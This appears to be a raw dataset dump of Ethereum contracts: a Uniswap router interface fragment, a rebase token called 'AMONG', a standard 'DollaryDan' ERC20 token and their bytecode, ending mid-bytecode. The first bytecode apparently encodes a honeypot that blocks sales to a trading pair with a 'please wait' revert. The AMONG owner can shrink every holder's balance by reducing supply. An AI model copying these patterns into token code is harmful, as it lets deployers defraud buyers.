IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } */ /** * @dev Implementation of the {IERC20} interface. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a91461037b578063cae9ca5114610390578063d4ee1d9014610458578063dd62ed3e1461046d578063f2fde38b146104a8576100fe565b806381f4f399146102e55780638da5cb5b1461031857806395d89b411461032d578063a9059cbb14610342576100fe565b806323b872dd116100d157806323b872dd1461022f578063313ce5671461027257806370a082311461029d57806379ba5097146102d0576100fe565b806306fdde0314610100578063095ea7b31461018a57806318160ddd146101d75780631ee59f20146101fe575b005b34801561010c57600080fd5b506101156104db565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101c3600480360360408110156101ad57600080fd5b506001600160a01b038135169060200135610569565b604080519115158252519081900360200190f35b3480156101e357600080fd5b506101ec6105d0565b60408051918252519081900360200190f35b34801561020a57600080fd5b50610213610613565b604080516001600160a01b039092168252519081900360200190f35b34801561023b57600080fd5b506101c36004803603606081101561025257600080fd5b506001600160a01b03813581169160208101359091169060400135610622565b34801561027e57600080fd5b506102876107c6565b6040805160ff9092168252519081900360200190f35b3480156102a957600080fd5b506101ec600480360360208110156102c057600080fd5b50356001600160a01b03166107cf565b3480156102dc57600080fd5b506100fe6107ea565b3480156102f157600080fd5b506100fe6004803603602081101561030857600080fd5b50356001600160a01b0316610865565b34801561032457600080fd5b5061021361089e565b34801561033957600080fd5b506101156108ad565b34801561034e57600080fd5b506101c36004803603604081101561036557600080fd5b506001600160a01b038135169060200135610905565b34801561038757600080fd5b506100fe610a09565b34801561039c57600080fd5b506101c3600480360360608110156103b357600080fd5b6001600160a01b03823516916020810135918101906060810160408201356401000000008111156103e357600080fd5b8201836020820111156103f557600080fd5b8035906020019184600183028401116401000000008311171561041757600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550610a52945050505050565b34801561046457600080fd5b50610213610b9a565b34801561047957600080fd5b506101ec6004803603604081101561049057600080fd5b506001600160a01b0381358116916020013516610ba9565b3480156104b457600080fd5b506100fe600480360360208110156104cb57600080fd5b50356001600160a01b0316610bd4565b6003805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b820191906000526020600020905b81548152906001019060200180831161054457829003601f168201915b505050505081565b3360008181526008602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a35060015b92915050565b600080805260076020527f6d5257204ebe7d88fd91ae87941cb2dd9d8062b64ae5a2bd2d28ec40b9fbf6df5460055461060e9163ffffffff610c0d16565b905090565b6006546001600160a01b031681565b60006001600160a01b0384161580159061064557506006546001600160a01b0316155b1561066a57600680546001600160a01b0319166001600160a01b0385161790556106bb565b6006546001600160a01b03848116911614156106bb576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b6001600160a01b0384166000908152600760205260409020546106e4908363ffffffff610c0d16565b6001600160a01b0385166000908152600760209081526040808320939093556008815282822033835290522054610721908363ffffffff610c0d16565b6001600160a01b038086166000908152600860209081526040808320338452825280832094909455918616815260079091522054610765908363ffffffff610c2216565b6001600160a01b0380851660008181526007602090815260409182902094909455805186815290519193928816927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a35060019392505050565b60045460ff1681565b6001600160a01b031660009081526007602052604090205490565b6001546001600160a01b0316331461080157600080fd5b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b6000546001600160a01b0316331461087c57600080fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156105615780601f1061053657610100808354040283529160200191610561565b6006546000906001600160a01b0384811691161415610959576040805162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b604482015290519081900360640190fd5b33600090815260076020526040902054610979908363ffffffff610c0d16565b33600090815260076020526040808220929092556001600160a01b038516815220546109ab908363ffffffff610c2216565b6001600160a01b0384166000818152600760209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000546001600160a01b03163314610a2057600080fd5b604051339081904780156108fc02916000818181858888f19350505050158015610a4e573d6000803e3d6000fd5b5050565b3360008181526008602090815260408083206001600160a01b038816808552908352818420879055815187815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a3604051638f4ffcb160e01b815233600482018181526024830186905230604484018190526080606485019081528651608486015286516001600160a01b038a1695638f4ffcb195948a94938a939192909160a490910190602085019080838360005b83811015610b29578181015183820152602001610b11565b50505050905090810190601f168015610b565780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b158015610b7857600080fd5b505af1158015610b8c573d6000803e3d6000fd5b506001979650505050505050565b6001546001600160a01b031681565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610beb57600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b600082821115610c1c57600080fd5b50900390565b818101828110156105ca57600080fdfea265627a7a723158200dbd0c299abef3625d967e694c8785f55f1c7b88e38676c37ec3f9f69081d3f364736f6c63430005110032
[ 38 ]
0xf27c8a87bcf259f8b02f62b969a8404d15054d0e
pragma solidity 0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract AMONG is Ownable { using SafeMath for uint256; event LogRebase(uint256 indexed epoch, uint256 totalSupply); modifier validRecipient(address to) { require(to != address(this)); _; } event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); string public constant name = "among.finance"; string public constant symbol = "AMONG"; uint256 public constant decimals = 18; uint256 private constant DECIMALS = 18; uint256 private constant MAX_UINT256 = ~uint256(0); uint256 private constant INITIAL_FRAGMENTS_SUPPLY = 2500 * 10**DECIMALS; uint256 private constant TOTAL_GONS = MAX_UINT256 - (MAX_UINT256 % INITIAL_FRAGMENTS_SUPPLY); uint256 private constant MAX_SUPPLY = ~uint128(0); uint256 private _totalSupply; uint256 private _gonsPerFragment; mapping(address => uint256) private _gonBalances; mapping (address => mapping (address => uint256)) private _allowedFragments; function rebase(uint256 epoch, uint256 supplyDelta) external onlyOwner returns (uint256) { if (supplyDelta == 0) { emit LogRebase(epoch, _totalSupply); return _totalSupply; } _totalSupply = _totalSupply.sub(supplyDelta); if (_totalSupply > MAX_SUPPLY) { _totalSupply = MAX_SUPPLY; } _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit LogRebase(epoch, _totalSupply); return _totalSupply; } constructor() public override { _owner = msg.sender; _totalSupply = INITIAL_FRAGMENTS_SUPPLY; _gonBalances[_owner] = TOTAL_GONS; _gonsPerFragment = TOTAL_GONS.div(_totalSupply); emit Transfer(address(0x0), _owner, _totalSupply); } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address who) public view returns (uint256) { return _gonBalances[who].div(_gonsPerFragment); } function transfer(address to, uint256 value) public validRecipient(to) returns (bool) { uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[msg.sender] = _gonBalances[msg.sender].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(msg.sender, to, value); return true; } function allowance(address owner_, address spender) public view returns (uint256) { return _allowedFragments[owner_][spender]; } function transferFrom(address from, address to, uint256 value) public validRecipient(to) returns (bool) { _allowedFragments[from][msg.sender] = _allowedFragments[from][msg.sender].sub(value); uint256 gonValue = value.mul(_gonsPerFragment); _gonBalances[from] = _gonBalances[from].sub(gonValue); _gonBalances[to] = _gonBalances[to].add(gonValue); emit Transfer(from, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _allowedFragments[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _allowedFragments[msg.sender][spender] = _allowedFragments[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { uint256 oldValue = _allowedFragments[msg.sender][spender]; if (subtractedValue >= oldValue) { _allowedFragments[msg.sender][spender] = 0; } else { _allowedFragments[msg.sender][spender] = oldValue.sub(subtractedValue); } emit Approval(msg.sender, spender, _allowedFragments[msg.sender][spender]); return true; } }
0x608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb146102f1578063b2bdfa7b1461031d578063dd62ed3e14610325578063f2fde38b1461035357610100565b8063715018a61461028f5780638da5cb5b1461029957806395d89b41146102bd578063a457c2d7146102c557610100565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610235578063395093511461023d57806370a082311461026957610100565b8063058ecdb41461010557806306fdde031461013a578063095ea7b3146101b757806318160ddd146101f7575b600080fd5b6101286004803603604081101561011b57600080fd5b5080359060200135610379565b60408051918252519081900360200190f35b6101426104af565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017c578181015183820152602001610164565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101e3600480360360408110156101cd57600080fd5b506001600160a01b0381351690602001356104d8565b604080519115158252519081900360200190f35b61012861053e565b6101e36004803603606081101561021557600080fd5b506001600160a01b03813581169160208101359091169060400135610544565b610128610690565b6101e36004803603604081101561025357600080fd5b506001600160a01b038135169060200135610695565b6101286004803603602081101561027f57600080fd5b50356001600160a01b031661072e565b61029761075c565b005b6102a1610805565b604080516001600160a01b039092168252519081900360200190f35b610142610814565b6101e3600480360360408110156102db57600080fd5b506001600160a01b038135169060200135610835565b6101e36004803603604081101561030757600080fd5b506001600160a01b038135169060200135610924565b6102a1610a09565b6101286004803603604081101561033b57600080fd5b506001600160a01b0381358116916020013516610a18565b6102976004803603602081101561036957600080fd5b50356001600160a01b0316610a43565b600080546001600160a01b031633146103d9576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b8161041f57600154604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a2506001546104a9565b600154610432908363ffffffff610b4216565b60018190556001600160801b031015610451576001600160801b036001555b60015461046990686a1eef7b78ef8fffff1990610b8b565b600255600154604080519182525184917f72725a3b1e5bd622d6bcd1339bb31279c351abe8f541ac7fd320f24e1b1641f2919081900360200190a2506001545b92915050565b6040518060400160405280600d81526020016c616d6f6e672e66696e616e636560981b81525081565b3360008181526004602090815260408083206001600160a01b038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000826001600160a01b03811630141561055d57600080fd5b6001600160a01b0385166000908152600460209081526040808320338452909152902054610591908463ffffffff610b4216565b6001600160a01b03861660009081526004602090815260408083203384529091528120919091556002546105cc90859063ffffffff610bcd16565b6001600160a01b0387166000908152600360205260409020549091506105f8908263ffffffff610b4216565b6001600160a01b03808816600090815260036020526040808220939093559087168152205461062d908263ffffffff610c2616565b6001600160a01b0380871660008181526003602090815260409182902094909455805188815290519193928a16927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a350600195945050505050565b601281565b3360009081526004602090815260408083206001600160a01b03861684529091528120546106c9908363ffffffff610c2616565b3360008181526004602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b6002546001600160a01b03821660009081526003602052604081205490916104a9919063ffffffff610b8b16565b6000546001600160a01b031633146107bb576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60405180604001604052806005815260200164414d4f4e4760d81b81525081565b3360009081526004602090815260408083206001600160a01b0386168452909152812054808310610889573360009081526004602090815260408083206001600160a01b03881684529091528120556108be565b610899818463ffffffff610b4216565b3360009081526004602090815260408083206001600160a01b03891684529091529020555b3360008181526004602090815260408083206001600160a01b0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000826001600160a01b03811630141561093d57600080fd5b600061095460025485610bcd90919063ffffffff16565b33600090815260036020526040902054909150610977908263ffffffff610b4216565b33600090815260036020526040808220929092556001600160a01b038716815220546109a9908263ffffffff610c2616565b6001600160a01b0386166000818152600360209081526040918290209390935580518781529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a3506001949350505050565b6000546001600160a01b031681565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b6000546001600160a01b03163314610aa2576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b038116610ae75760405162461bcd60e51b8152600401808060200182810382526026815260200180610d7d6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000610b8483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c80565b9392505050565b6000610b8483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610d17565b600082610bdc575060006104a9565b82820282848281610be957fe5b0414610b845760405162461bcd60e51b8152600401808060200182810382526021815260200180610da36021913960400191505060405180910390fd5b600082820183811015610b84576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b60008184841115610d0f5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cd4578181015183820152602001610cbc565b50505050905090810190601f168015610d015780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183610d665760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315610cd4578181015183820152602001610cbc565b506000838581610d7257fe5b049594505050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122072cc641f8669a52fc96d70a0b4e62f6b0055fa556665e439af91c1c952a4f3b764736f6c63430006000033
[ 38 ]
0xf27d954a507230503f7b13e064500c815a4db341
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // 'DollaryDan' token contract // // Deployed to : 0xaf0ceCC88327E64fFFF513f2FC4971CD67b0D1a8 // Symbol : DD // Name : DollaryDan // Total supply: 100000000 // Decimals : 3 // // Enjoy. // // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } // ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ---------------------------------------------------------------------------- contract dollaryDanToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function dollaryDanToken() public { symbol = "DD"; name = "DollaryDan"; decimals = 3; _totalSupply = 1000000000000; balances[0xaf0ceCC88327E64fFFF513f2FC4971CD67b0D1a8] = _totalSupply; Transfer(address(0),0xaf0ceCC88327E64fFFF513f2FC4971CD67b0D1a8, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610117578063095ea7b3146101a557806318160ddd1461020857806323b872dd14610231578063313ce567146102b45780633eaaf86b146102e357806370a082311461030c57806379ba5097146103615780638da5cb5b1461037657806395d89b41146103cb578063a293d1e814610459578063a9059cbb146104a2578063b5931f7c14610505578063cae9ca511461054e578063d05c78da146105f7578063d4ee1d9014610640578063dc39d06d14610695578063dd62ed3e146106f8578063e6cb90131461076d578063f2fde38b146107b6575b600080fd5b341561012257600080fd5b61012a6107f7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016a57808201518184015260208101905061014f565b50505050905090810190601f1680156101975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101b057600080fd5b6101ee600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610895565b604051808215151515815260200191505060405180910390f35b341561021357600080fd5b61021b610987565b6040518082815260200191505060405180910390f35b341561023c57600080fd5b61029a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109d2565b604051808215151515815260200191505060405180910390f35b34156102bf57600080fd5b6102c7610c62565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ee57600080fd5b6102f6610c75565b6040518082815260200191505060405180910390f35b341561031757600080fd5b61034b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c7b565b6040518082815260200191505060405180910390f35b341561036c57600080fd5b610374610cc4565b005b341561038157600080fd5b610389610e63565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103d657600080fd5b6103de610e88565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561041e578082015181840152602081019050610403565b50505050905090810190601f16801561044b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561046457600080fd5b61048c6004803603810190808035906020019092919080359060200190929190505050610f26565b6040518082815260200191505060405180910390f35b34156104ad57600080fd5b6104eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f42565b604051808215151515815260200191505060405180910390f35b341561051057600080fd5b61053860048036038101908080359060200190929190803590602001909291905050506110cb565b6040518082815260200191505060405180910390f35b341561055957600080fd5b6105dd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506110ef565b604051808215151515815260200191505060405180910390f35b341561060257600080fd5b61062a6004803603810190808035906020019092919080359060200190929190505050611335565b6040518082815260200191505060405180910390f35b341561064b57600080fd5b610653611366565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156106a057600080fd5b6106de600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061138c565b604051808215151515815260200191505060405180910390f35b341561070357600080fd5b610757600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114e7565b6040518082815260200191505060405180910390f35b341561077857600080fd5b6107a0600480360381019080803590602001909291908035906020019092919050505061156e565b6040518082815260200191505060405180910390f35b34156107c157600080fd5b6107f5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158a565b005b60038054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561088d5780601f106108625761010080835404028352916020019161088d565b820191906000526020600020905b81548152906001019060200180831161087057829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600660008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460055403905090565b6000610a1d600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f26565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ae6600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610f26565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffff